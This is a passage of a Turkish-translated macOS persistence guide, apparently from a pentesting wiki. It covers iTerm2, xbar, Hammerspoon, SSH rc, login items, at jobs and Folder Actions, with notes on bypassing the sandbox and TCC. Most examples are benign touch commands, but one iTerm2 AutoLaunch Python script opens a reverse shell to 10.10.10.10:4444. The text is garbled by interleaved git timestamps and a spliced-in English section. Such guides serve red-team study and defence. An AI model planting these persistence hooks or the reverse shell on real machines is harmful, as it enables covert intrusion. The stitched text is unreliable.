**Kullanı cı cron işi programatik olarak eklemek** için şu kullanı labilir:
2023-09-28 15:09:34 +00:00
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
2023-09-28 20:05:35 +00:00
### iTerm2
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0002/ ](https://theevilbit.github.io/beyond/beyond\_0002/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
* iTerm2, TCC izinlerine sahip olabilir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: iTerm aç
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: iTerm aç
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: iTerm aç
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-03-17 16:37:08 +00:00
**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** konumunda depolanan betikler çalı ştı rı lacaktı r. Örneğin:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" < < EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
2024-03-17 16:37:08 +00:00
## macOS Auto-Start Locations
### Launch Agents
Launch Agents are used to run processes when a user logs in. They are stored in the following locations:
- `/Library/LaunchAgents/`
- `/System/Library/LaunchAgents/`
- `/Users/username/Library/LaunchAgents/`
### Launch Daemons
Launch Daemons are used to run processes at system startup. They are stored in the following locations:
- `/Library/LaunchDaemons/`
- `/System/Library/LaunchDaemons/`
### Login Items
Login Items are applications that open when a user logs in. They can be managed in:
- `System Preferences > Users & Groups > Login Items`
### Startup Items
Startup Items are legacy items that automatically launch when a user logs in. They are stored in:
- `/Library/StartupItems/`
### Cron Jobs
Cron Jobs are scheduled tasks that run at specific times. They can be viewed and managed using the `crontab` command.
2023-11-02 16:52:21 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" < < EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
2024-02-10 18:14:16 +00:00
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
2023-11-02 16:52:21 +00:00
iterm2.run_forever(main)
EOF
```
2024-02-13 00:51:21 +00:00
Betik ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt` ** de yürütülecektir:
2023-09-28 20:05:35 +00:00
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
2024-02-13 00:51:21 +00:00
**`~/Library/Preferences/com.googlecode.iterm2.plist`** konumundaki iTerm2 tercihleri, iTerm2 terminali açı ldı ğı nda **çalı ştı rı lacak bir komutu belirtebilir** .
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bu ayar, iTerm2 ayarları nda yapı landı rı labilir:
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Ve komut tercihlere yansı tı lı r:
2023-09-28 20:05:35 +00:00
```bash
plutil -p com.googlecode.iterm2.plist
{
2024-02-10 18:14:16 +00:00
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
2023-09-28 15:09:34 +00:00
```
2024-03-17 16:37:08 +00:00
Komutun çalı ştı rı lacağı şekli ayarlayabilirsiniz:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 15:09:34 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="warning" %}
2024-03-17 16:37:08 +00:00
İTerm2 tercihlerini kötüye kullanmak için **başka yolları n** yüksek olası lı kla olduğu düşünülmektedir.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### xbar
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0007/ ](https://theevilbit.github.io/beyond/beyond\_0007/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak xbar yüklü olmalı
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:37:08 +00:00
* Erişilebilirlik izni istiyor
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application\ Support/xbar/plugins/`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: xbar çalı ştı rı ldı ğı nda
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-12-29 13:55:22 +00:00
2024-03-17 16:37:08 +00:00
Eğer popüler program [**xbar** ](https://github.com/matryer/xbar ) yüklü ise, xbar başlatı ldı ğı nda çalı ştı rı lacak bir kabuk betiği ** `~/Library/Application\ Support/xbar/plugins/` ** dizininde yazı labilir:
2023-12-29 13:55:22 +00:00
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" < < EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
2023-09-28 20:05:35 +00:00
### Hammerspoon
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0008/ ](https://theevilbit.github.io/beyond/beyond\_0008/ )
2023-09-28 20:05:35 +00:00
2024-02-23 16:46:32 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:37:08 +00:00
* Ancak Hammerspoon yüklü olmalı
2024-02-13 00:51:21 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:37:08 +00:00
* Erişilebilirlik izinleri istiyor
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`~/.hammerspoon/init.lua`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Hammerspoon çalı ştı rı ldı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
[**Hammerspoon** ](https://github.com/Hammerspoon/hammerspoon ), işlemleri için **LUA betik dili**ni kullanan bir otomasyon platformu olarak **macOS** için hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artı rı r.
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
Uygulama, tek bir dosya olan `~/.hammerspoon/init.lua` dosyası nı arar ve betik başlatı ldı ğı nda yürütülür.
2023-09-28 20:05:35 +00:00
```bash
2023-12-29 13:55:22 +00:00
mkdir -p "$HOME/.hammerspoon"
2023-09-28 20:05:35 +00:00
cat > "$HOME/.hammerspoon/init.lua" < < EOF
2023-12-29 13:55:22 +00:00
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
2023-09-28 20:05:35 +00:00
EOF
```
2024-02-13 00:51:21 +00:00
### BetterTouchTool
2024-03-17 16:37:08 +00:00
* Kullanı şlı dı r çünkü kum havuzunu atlar: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak BetterTouchTool yüklü olmalı dı r
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-23 16:46:32 +00:00
* Otomasyon-Kı sayolları ve Erişilebilirlik izinleri istiyor
2024-02-13 00:51:21 +00:00
#### Konum
* `~/Library/Application Support/BetterTouchTool/*`
2024-03-17 16:37:08 +00:00
Bu araç, bazı kı sayollar bası ldı ğı nda uygulamaları veya betikleri yürütmek için gösterge koymayı sağlar. Bir saldı rgan, kendi **kı sayolunu ve eylemini yürütmek için veritabanı nda yapı landı rabilir** ve keyfi kod yürütebilir (bir kı sayol sadece bir tuşa basmak olabilir).
2024-02-13 00:51:21 +00:00
### Alfred
2024-03-17 16:37:08 +00:00
* Kullanı şlı dı r çünkü kum havuzunu atlar: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak Alfred yüklü olmalı dı r
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-23 16:46:32 +00:00
* Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istiyor
2024-02-13 00:51:21 +00:00
#### Konum
* `???`
2024-03-17 16:37:08 +00:00
Belirli koşullar karşı landı ğı nda kod yürütebilen iş akı şları oluşturmayı sağlar. Bir saldı rganı n bir iş akı şı dosyası oluşturup Alfred'ı n bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akı şları nı kullanabilmek için premium sürümü kullanmak gereklidir).
2024-02-13 00:51:21 +00:00
2023-09-28 15:09:34 +00:00
### SSHRC
2024-03-17 16:37:08 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0006/ ](https://theevilbit.github.io/beyond/beyond\_0006/ )
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
* Kullanı şlı dı r çünkü kum havuzunu atlar: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak ssh etkinleştirilmiş ve kullanı lmı ş olmalı dı r
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
* SSH'nin FDA erişimine sahip olması gerekmektedir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`~/.ssh/rc`**
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: SSH üzerinden oturum açma
2023-09-28 15:09:34 +00:00
* **`/etc/ssh/sshrc`**
2024-02-13 00:51:21 +00:00
* Root gereklidir
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: SSH üzerinden oturum açma
2023-09-28 15:09:34 +00:00
2023-12-29 13:55:22 +00:00
{% hint style="danger" %}
2024-03-17 16:37:08 +00:00
SSH'yi açmak için Tam Disk Erişimi gereklidir:
2023-09-28 15:09:34 +00:00
```bash
2023-12-29 13:55:22 +00:00
sudo systemsetup -setremotelogin on
2023-09-28 15:09:34 +00:00
```
2023-12-29 13:55:22 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-12-29 13:55:22 +00:00
2024-02-23 16:46:32 +00:00
Varsayı lan olarak, `/etc/ssh/sshd_config` dosyası nda `PermitUserRC no` belirtilmediği sürece, bir kullanı cı **SSH üzerinden giriş yaptı ğı nda** ** `/etc/ssh/sshrc` ** ve ** `~/.ssh/rc` ** betikleri çalı ştı rı lacaktı r.
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
### **Giriş Öğeleri**
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0003/ ](https://theevilbit.github.io/beyond/beyond\_0003/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* Ancak `osascript` 'i argümanlarla çalı ştı rmanı z gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
2024-02-23 16:46:32 +00:00
* **Tetikleyici:** Giriş
* Sömürü yükü, ** `osascript` ** çağrı sı yla depolanmı ştı r
2023-09-28 20:05:35 +00:00
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
2024-02-23 16:46:32 +00:00
* **Tetikleyici:** Giriş
2024-02-10 18:14:16 +00:00
* Root gereklidir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
Sistem Tercihleri -> Kullanı cı lar ve Gruplar -> **Giriş Öğeleri** 'nde, **kullanı cı oturum açtı ğı nda çalı ştı rı lacak öğeleri** bulabilirsiniz.\
2024-02-10 18:14:16 +00:00
Onları komut satı rı ndan listelemek, eklemek ve kaldı rmak mümkündür:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
2024-02-10 18:14:16 +00:00
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
2023-09-28 20:05:35 +00:00
#Remove an item:
2024-02-10 18:14:16 +00:00
osascript -e 'tell application "System Events" to delete login item "itemname"'
2023-09-28 15:09:34 +00:00
```
2024-03-17 16:37:08 +00:00
Bu öğeler ** `~/Library/Application Support/com.apple.backgroundtaskmanagementagent` ** dosyası nda saklanı r.
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
**Giriş öğeleri** ayrı ca [SMLoginItemSetEnabled ](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc ) API'sini kullanarak belirtilebilir, bu da yapı landı rmayı ** `/var/db/com.apple.xpc.launchd/loginitems.501.plist` ** dosyası nda saklayacaktı r.
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
### ZIP olarak Giriş Öğesi
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
(Giriş Öğeleri hakkı nda önceki bölüme bakı n, bu bir uzantı dı r)
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
Eğer bir **ZIP** dosyası nı bir **Giriş Öğesi** olarak saklarsanı z, ** `Archive Utility` ** onu açacak ve örneğin ZIP dosyası ** `~/Library` ** içinde saklanmı ş ve ** `LaunchAgents/file.plist` ** adlı bir arka kapı içeren bir Klasör içeriyorsa (varsayı lan olarak değil), o klasör oluşturulacak ve plist eklenecektir, böylece kullanı cı bir dahaki sefer oturum açtı ğı nda, **plist'te belirtilen arka kapı yürütülecektir** .
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
Başka bir seçenek, ** `.bash_profile` ** ve ** `.zshenv` ** dosyaları nı kullanı cı HOME içine oluşturmaktı r, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalı şacaktı r.
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### At
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0014/ ](https://theevilbit.github.io/beyond/beyond\_0014/ )
2023-12-30 00:49:26 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:37:08 +00:00
* Ancak ** `at` **'ı **çalı ştı rmanı z** ve etkin olması **gerekmektedir**
* TCC atlaması : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
* **`at`**'ı **çalı ştı rmanı z** ve etkin olması **gerekmektedir**
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### **Açı klama**
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
`at` görevleri, belirli zamanlarda yürütülmek üzere **tek seferlik görevlerin zamanlaması nı ** sağlamak için tasarlanmı ştı r. Cron işleri gibi, `at` görevleri otomatik olarak yürütmeden sonra kaldı rı lı r. Bu görevlerin sistem yeniden başlatmaları arası nda kalı cı olduğunu unutmamak önemlidir, bu da onları belirli koşullar altı nda potansiyel güvenlik endişeleri olarak işaretler.
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
**Varsayı lan olarak** devre dı şı bı rakı lmı şlardı r ancak **root** kullanı cı sı bunları **etkinleştirebilir** .
2023-09-28 20:05:35 +00:00
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
2024-03-17 16:37:08 +00:00
Bu, 1 saat içinde bir dosya oluşturacaktı r:
2023-09-28 20:05:35 +00:00
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
2024-03-17 16:37:08 +00:00
İş kuyruğunu `atq` kullanarak kontrol edin:
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
2024-03-17 16:37:08 +00:00
Yukarı da iki zamanlanmı ş iş görebiliriz. İşin detayları nı `at -c İŞNUMARASI` kullanarak yazdı rabiliriz.
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
2024-02-10 18:14:16 +00:00
echo 'Execution directory inaccessible' >& 2
exit 1
2023-09-28 20:05:35 +00:00
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
2024-02-23 16:46:32 +00:00
Eğer AT görevleri etkin değilse, oluşturulan görevler yürütülmeyecektir.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-23 16:46:32 +00:00
**İş dosyaları ** `/private/var/at/jobs/` dizininde bulunabilir.
2023-09-28 20:05:35 +00:00
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
2024-03-17 16:37:08 +00:00
Dosya adı sı rayı , iş numarası nı ve çalı şma zamanı nı içerir. Örneğin `a0001a019bdcd2` 'ye bakalı m.
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
* `a` - bu kuyruktur
2024-02-10 18:14:16 +00:00
* `0001a` - onaltı lı k iş numarası , `0x1a = 26`
2024-03-17 16:37:08 +00:00
* `019bdcd2` - onaltı lı k zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2` , ondalı k olarak `26991826` 'dı r. 60 ile çarptı ğı mı zda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00` 'yi temsil eder.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
İş dosyası nı yazdı rı rsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini görürüz.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### Klasör Eylemleri
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0024/ ](https://theevilbit.github.io/beyond/beyond\_0024/ )\
Açı klama: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d ](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:37:08 +00:00
* Ancak ** `System Events` ** ile iletişim kurabilmek için `osascript` 'i argümanlarla çağı rabilmeniz gerekir.
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-13 00:51:21 +00:00
* Masaüstü, Belgeler ve İndirmeler gibi bazı temel TCC izinlerine sahiptir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/Library/Scripts/Folder Action Scripts`**
2024-03-17 16:37:08 +00:00
* Kök izni gereklidir
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Belirtilen klasöre erişim
2023-09-28 20:05:35 +00:00
* **`~/Library/Scripts/Folder Action Scripts`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Belirtilen klasöre erişim
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
Klasör Eylemleri, bir klasördeki değişikliklerle otomatik olarak tetiklenen betiklerdir; öğeler eklenirken, kaldı rı lı rken veya diğer eylemler gerçekleşirken veya klasör penceresinin açı lması veya yeniden boyutlandı rı lması gibi diğer eylemlerle tetiklenirler. Bu eylemler çeşitli görevler için kullanı labilir ve Finder UI veya terminal komutları kullanı larak tetiklenebilirler.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Klasör Eylemleri kurmak için şu seçeneklere sahipsiniz:
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
1. [Automator ](https://support.apple.com/guide/automator/welcome/mac ) ile bir Klasör Eylemi iş akı şı oluşturup bir hizmet olarak yüklemek.
2. Bir betiği manuel olarak bir klasörün bağlam menüsündeki Klasör Eylemleri Kurulumu aracı lı ğı yla eklemek.
3. Programatik olarak bir Klasör Eylemi kurmak için `System Events.app` 'e Apple Olayı iletileri göndermek için OSAScript'i kullanmak.
2024-02-10 18:14:16 +00:00
* Bu yöntem, eylemi sisteme gömmek ve kalı cı lı k düzeyi sunmak için özellikle kullanı şlı dı r.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Aşağı daki betik, bir Klasör Eylemi tarafı ndan yürütülebilecek bir örnektir:
2023-09-28 15:09:34 +00:00
```applescript
2024-02-07 04:06:18 +00:00
// source.js
2023-09-28 15:09:34 +00:00
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
2024-02-13 00:51:21 +00:00
Yukarı daki betiği Klasör Eylemleri tarafı ndan kullanı labilir hale getirmek için şunu kullanarak derleyin:
2024-02-07 04:06:18 +00:00
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
2024-03-17 16:37:08 +00:00
Derlemesi yapı ldı ktan sonra, aşağı daki betiği çalı ştı rarak Klasör İşlemlerini ayarlayı n. Bu betik, Klasör İşlemlerini genel olarak etkinleştirecek ve önceden derlenmiş betiği özel olarak Masaüstü klasörüne ekleyecektir.
2023-09-28 15:09:34 +00:00
```javascript
2024-02-07 04:06:18 +00:00
// Enabling and attaching Folder Action
2023-09-28 15:09:34 +00:00
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
2024-03-17 16:37:08 +00:00
Ayar dosyası nı şu şekilde çalı ştı rı n:
2024-02-07 04:06:18 +00:00
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
2024-02-13 00:51:21 +00:00
* Bu kalı cı lı ğı GUI aracı lı ğı yla uygulamanı n yolu:
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Bu, yürütülecek olan betiktir:
2023-09-28 15:09:34 +00:00
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2024-03-17 16:37:08 +00:00
Aşağı daki komutla derleyin: `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Taşı yı n:
2023-09-28 15:09:34 +00:00
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
2024-03-17 16:37:08 +00:00
Ardı ndan, `Folder Actions Setup` uygulaması nı açı n, **izlemek istediğiniz klasörü seçin** ve durumunuzda ** `folder.scpt` **'yi seçin (benim durumumda ona output2.scp adı nı verdim):
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt = "" width = "297" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Şimdi, eğer o klasörü **Finder** ile açarsanı z, betiğiniz çalı ştı rı lacaktı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bu yapı landı rma, base64 formatı nda ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** konumunda saklanmı ştı r.
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
Şimdi, GUI erişimi olmadan bu kalı cı lı ğı hazı rlamayı deneyelim:
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
1. ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` **'yi yedeklemek için `/tmp` 'ye kopyalayı n:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2024-02-13 00:51:21 +00:00
2. Şimdi, ayarladı ğı nı z Klasör Eylemlerini **kaldı rı n** :
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Şimdi boş bir ortama sahip olduğumuza göre
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
3. Yedek dosyası nı kopyalayı n: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. Bu yapı landı rmayı tüketmek için Folder Actions Setup.app'ı açı n: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
2023-09-28 15:09:34 +00:00
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Ve bu benim için çalı şmadı , ama bunlar yazı dan talimatlar:(
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Dock kı sayolları
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0027/ ](https://theevilbit.github.io/beyond/beyond\_0027/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-23 16:46:32 +00:00
* Ancak, sisteme kötü amaçlı bir uygulama yüklemiş olmanı z gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
